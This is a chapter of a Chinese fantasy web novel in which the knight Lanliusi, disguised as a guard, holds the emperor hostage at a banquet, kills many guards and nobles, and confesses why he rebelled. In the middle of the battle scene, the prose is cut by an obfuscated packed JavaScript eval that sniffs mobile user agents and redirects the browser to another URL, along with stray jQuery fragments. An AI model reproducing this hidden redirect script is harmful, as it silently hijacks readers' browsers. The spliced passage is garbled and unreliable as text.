90. 90.刺杀

作品:《再造骑士[西幻]

    在一个天光明朗的春日,为庆祝帝国派出的精锐部队奇袭东洛抵抗军成功,金宫举办了一场盛大的庆功宴。


    皇宫内人人穿戴富丽,大臣们皆身着繁复的礼服,聚在宫殿大厅内举杯相庆,巨大的长桌两侧坐满了至少五十多名贵族与大臣,乐手在旁拉琴演奏,满地葡萄美酒芬香。


    在皇帝的准许之下,未婚女眷们拾掇长裙,与在场心仪的未婚男性跃入舞池,翩翩起舞。


    长桌的首席,坐着帝国的皇帝罗尔·瓦琉·安迪卡·图诺威,他头戴镌刻着两首狮花纹的金色皇冠,身披红丝绒礼袍,手持酒杯,与大臣们有说有笑地交谈着。


    裂风骑士团这边,埃诺文带着山姆也坐在了长桌的中间部分。


    “说起来,兰琉斯团长怎么还没来?”山姆问着埃诺文,他神色忐忑。


    “我前两天去洛兹莱昂府邸问过了,兰琉斯那边说是染上了流感在养病,今天恐怕也要晚会儿到。”埃诺文安慰他,“别紧张山姆,既然这次剑术表演兰琉斯选了你,那么准没错的,你连人都杀过,还害怕上去比划两下?”


    山姆在埃诺文的鼓励下用力点点头。


    两人又等待了一会儿,没料到第一个问起兰琉斯的是宰相迪克森:“说起来,陛下,首席骑士为何还没到场呢?”


    “哦,兰琉斯啊……”皇帝摇晃着酒杯,“他前两天得了流感,所以一直在养病,今天估计也要来晚,我已经派人去催他了,等会儿还有场剑术比试表演!”


    迪克森答道:“是啊,陛下,首席骑士似乎是挑选了……山姆,山姆·查恩骑士,他的对手我们还不得而知呢。”


    “山姆·查恩?”罗尔啜了口美酒,“一个没名气的新人表演剑术有什么好看的?”


    桌旁的山姆抖了抖肩膀,他立刻埋下头,感到脸颊火辣辣的。


    弄臣凑热闹地插了一嘴:“我看,陛下就让兰琉斯和他打好了!让我们瞧瞧首席骑士是如何教训菜鸟的!”


    罗尔听了大笑起来,其余大臣纷纷附和地举杯,迪克森也握住酒杯,但随后又说道:“陛下……您也说了,山姆是个没什么名气的新人,让他一介菜鸟跟首席骑士作战,这太过不公平。”


    少年的头更低了一些,右手紧紧攥着。


    敞开的窗子外飘进一阵风,侍女正要关窗,那风猛烈地袭来,窗户打得更开了,不知何时原本一片晴朗的天空忽然抹上层层铅灰,云愈深愈浓,风愈紧愈狂,外头花园内的树干和花卉都在这阵狂风中吱呀摇摆。


    “要下雨了。”皇帝完全无视了迪克森的劝解,“大好的日子,怎么突然开始下雨?”


    他刚说完,外面的雨就绵长地下了起来,幸好宴会在大厅内举行,人们依然不受影响地饮酒与舞蹈。


    前去催促兰琉斯的侍卫回来了,他披着长袍,站在大厅正门,满身淋漓的雨水。


    所有人都注视着那名侍卫。


    “怎么没把兰琉斯带过来?”


    皇帝眉梢跳了跳。


    侍卫迅速来到皇帝身旁,凑在他耳畔低声道:“陛下,首席骑士似乎逃走了!”


    “什么?”


    “还有那些您好不容易收集起来的人,他们,他们全都跑了……”


    皇帝瞪着眼,就连坐在长桌右手边的迪克森都看出了他脸色不对劲。


    “他怎么逃走的?地牢有伊德琳的术法,他破解了?可伊德琳不是说他目前的术法能力格外低级么……”


    皇帝握紧右手,眸光闪烁两下,却很快冷静下来,他喃喃着:“不行,他肯定会做出一些出格的事情,不过这里人很多,他未必会在这里出手——埃诺文!”


    长桌旁的黑肤骑士站了起来,“陛下,臣在。”


    “去,去把裂风骑士团的人全叫过来,把宫里所有的卫兵全部找过来!”


    埃诺文不解地问道:“陛下,是有什么要紧的事情吗?”


    “立刻!”


    没有任何解释,当皇帝发出这声怒吼时,大厅安静无比,连拉琴的乐手都猝然停下,所有人都凝望着长桌顶端发怒的皇帝。


    罗尔正了正皇冠,他看向停下的乐手,微微地笑着:“埃诺文,你去吧,其他人继续奏乐,继续庆祝。”


    众人心有戚戚地继续饮酒,可这一次,连乐手演奏出的曲调都带了点焦躁与悲怆。


    埃诺文没有多问,立刻起身去叫人,当他走到门口的那一刻,皇帝转头对站在旁边满身雨水的侍卫道:“站这里干嘛?你也去帮忙!”


    “陛下,我站在这里就是最大的帮忙了。”


    当侍卫吐出幽幽一声时,罗尔心头冰寒,他立刻扑向桌面,却被锋利的冷刃压住了喉咙。


    来不及关上的窗子外吹进肆意的狂风,侍卫平平无奇的面容旋即化为众人熟悉的容颜——那张白发蓝瞳的俊美脸庞。


    “兰琉斯!”


    迪克森第一个喊出了声,他惊恐地望着面如寒冰的首席骑士,“主啊!兰琉斯,你在干嘛?”


    有人发出了哀嚎,但大部分人都惶恐地缄默着。


    站在大厅门口的埃诺文和山姆呆呆望着长桌最前方,已无法用言语形容自己的震惊。


    兰琉斯冷眼扫向众人,“不想死的人,现在,立刻,离开宴会大厅!”


    无人敢走,毕竟站在那里的是皇帝,是帝国的君主,作为帝国的子民,无论是大臣还是贵族,他们都有守卫皇室的义务。


    守卫大厅的卫兵们举着长剑涌向了被挟持的皇帝罗尔,足足有四十来名身手矫健的壮汉。


    兰琉斯却拽着僵硬的皇帝,一手持剑,在空中飞舞着,将那些卫兵全部夷为血海。


    望着地面累累的尸体,大臣与贵族们此起彼伏地尖叫着。


    “我再说一遍,我会杀了在这里的所有人,如果你们不走,我很乐意送你们全部下地狱!”


    他说罢,一个大臣举着匕首冲上来,大喊着:“你这无耻的叛国贼!”


    兰琉斯抬剑一划,他直挺挺地倒下,呜咽着喊了一声:“朗登万岁……”


    兰琉斯冷笑着,踢起他手中的匕首,又随意地刺死了两名站在前方的贵族。


    他无差别杀戮的举动令在场的众人认清了现实,无论男女皆拥挤着往门外逃窜,连头也不回,鞋子也不捡地疯跑着,将所谓的义务与荣光全部抛之脑后,一时间,大厅内只剩求饶、哭泣、尖叫。


    能跑的人都跑光了,风吹窗扇的声音越发焦躁,宰相迪克森仍指挥着一波又一波的卫兵涌入大厅,与那挟持皇帝的叛国贼僵持不下。


    埃诺文抽出剑,摇了摇满脸苍白的山姆,“起来,跟我去战斗!去拯救陛下!”


    “不,不行……我不想跟团长打架,更何况……”山姆疯狂摇头,“更何况,我们打不过团长的……”


    埃诺文吼道:“那你去找骑士团其他人过来!”


    山姆蹲下身,抱着头哭泣。


    埃诺文无奈地摇头,只好自己跟随卫兵冲上去与兰琉斯拼杀。


    “你杀不死我的,兰琉斯……呵呵。”皇帝低声笑道,刀刃将他的脖子压出一道血线,“就算伊德琳不在……你也杀不了我……”


    “我知道,她在用自己的能力保护你,普通的冷兵器杀不死你。”


    他扯着罗尔忽然往上一跳,跳到大厅的长阶之上,那里摆放着一张鎏金的狮头皇座。


    大厅外侧,一把把远程长铳瞄准了他所在的方位,“砰砰砰!”,数声铳响,一颗颗红蓝相间的符文子弹飞向了他的身体,那些都是帝国最为顶尖的神射手。


    兰琉斯带着


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925011|182661||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人费力地扭开子弹,但仍有一颗钻入了他的肩膀,这令他肩臂喷出了汹涌的鲜血。


    迪克森在台阶下大喊着:“停手吧!兰琉斯!你没办法打过这么多人!”


    他将皇帝丢在了皇位前方,扶住流血的手臂,“你知道我为什么要带你到这儿吗?”


    “你疯了,兰琉斯。”罗尔不慌不忙地起身,“你疯到以为可以杀了我,你知道自己在做什么吗?你这么做又是为了什么?”


    “你杀了我的母亲。”


    罗尔一愣,似乎在思索他口中的“母亲”是谁,忽然他张大嘴:“你……你觉得那个卑贱的女人是你的母亲?”


    兰琉斯幽沉地望着他。


    罗尔露出温和的笑意:“兰琉斯,你在想什么呢?你是伊德琳的孩子,是不死魔女的后代,你是被血月护佑之人,你是——我最优秀的臣子。”


    “从很小的时候,我就知道你们孕育我是为了把我培养成魔力的容器。”兰琉斯语气冷淡,“你们用各种方式训练我,刺激我,希望我利用自己超凡的魔法天赋,变成一位能源源不断产出魔力的术士,然后你们就可以用取魂术来汲取我的魔力,这样,即便你只是一个略有返祖迹象的平庸凡人,你也可以成为一名强大的术士——”


    罗尔脸上的笑容僵住。


    “从很小的时候,我就知道,我是一柄剑、一把刀、一条你们豢养的狗。”


    子弹不断射向摇摇欲坠的身躯,兰琉斯却仍在千言万语地说着。


    “我不想杀人,你们却让我爱上杀人,我不想打仗,你们却把我培养成一个冷血无情的将领,现在……我不想留在这里了。”


    他伸出沾满鲜血的手,抚摸上耳垂悬挂的太阳坠子,“这是我的报应,即便死亡,我也要为之偿还。”


    在此之前,杜瓶的思绪几乎是静止的,这些天发生了太多事,这些恐怖的事件,几乎要让跳脱的她变成一个目睹悲剧的沉默观众。


    她看着兰琉斯握住太阳耳坠,握住她,将她扯落,抛下高高的长阶。


    “你们不知道吧?其实我早就是名合格的术士了。”


    在他的左手,无数白光自屋顶、窗外、地面飞入他的掌心,汇聚着一个巨大的光球,让在场所有人都震骇不已。


    当那枚太阳耳坠在被白光彻底淹没时,杜瓶失去了自我意识,她回到了虚无的黑暗中。


    后来发生的一切都化为胶卷式的画面再次在她的身边飞掠而过,她看到皇帝惨不忍睹的尸身碎片,看到兰琉斯在无数卫兵中杀出一条血路,负伤逃亡。


    陆陆续续又出现了许多她熟悉的画面,白发男人倒在深夜的门前,少女将他扛到地下室,用冰冷的机械重组着他的身躯,挽救了他垂危的生命。


    他为她拖地、做饭、洗衣,也和她一起享用晚餐,一起拥抱、亲吻、欢笑……


    也有太多她从未见过的画面,他捧着自己烤好的饼干,送给对门的莫娜太太,与她谈论着那个名为杜瓶的古怪少女;他在深夜被噩梦惊醒,整宿整宿地无法入眠;他在她去上班时,蹲在角落内,回忆着过往,像只兔子一样瑟瑟发抖……


    但好在,只要少女一出现,他就会想方设法守在她的身侧,只要靠近她,他脸上就会扫去阴霾,再次变成那个无所不能而又呆板机械的兰琉斯。


    “要不要醒过来?”


    “嗯?”


    “再不醒过来,我可不保证会不会做些什么哦。”


    杜瓶眨眨双眼,看着蔚蓝的天空与苍翠的林木,她就躺在他的腿上,男人望着她,唇角挂着淡淡的笑意。


    “兰琉斯……”眼里的泪水控制不住地坠落。


    喜欢上一个人是什么感觉呢?这是她头一次为一个人,心如刀割。


    她扑上去将错愕的他紧紧搂住。